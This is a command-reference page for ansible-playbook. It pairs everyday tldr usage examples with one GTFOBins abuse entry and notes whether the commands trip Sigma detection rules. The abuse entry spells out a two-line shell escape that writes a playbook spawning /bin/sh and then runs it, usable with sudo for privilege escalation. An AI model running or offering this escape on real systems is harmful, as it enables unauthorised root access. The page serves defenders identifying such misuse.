Identifier / Programs / Linux and Unix
ansible-playbook
Execute tasks defined in playbook on remote machines over SSH. tldr-pages
GTFOBins shell 1 documented command
How ansible-playbook is abused
shell
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for ansible-playbook.
1 documented command
shell unprivileged, with sudo
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >/path/to/temp-file
ansible-playbook /path/to/temp-fileThe command the identifier reads trips no Sigma process-creation rule. This command is from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for ansible-playbook. The identifier reads the line that runs ansible-playbook.
Everyday use
Run tasks in playbook
ansible-playbook playbookIdentifyRun tasks in playbook with custom host inventory
ansible-playbook playbook --inventory inventory_fileIdentifyRun tasks in playbook with extra variables defined via the command-line
ansible-playbook playbook --extra-vars "variable1=value1 variable2=value2"IdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.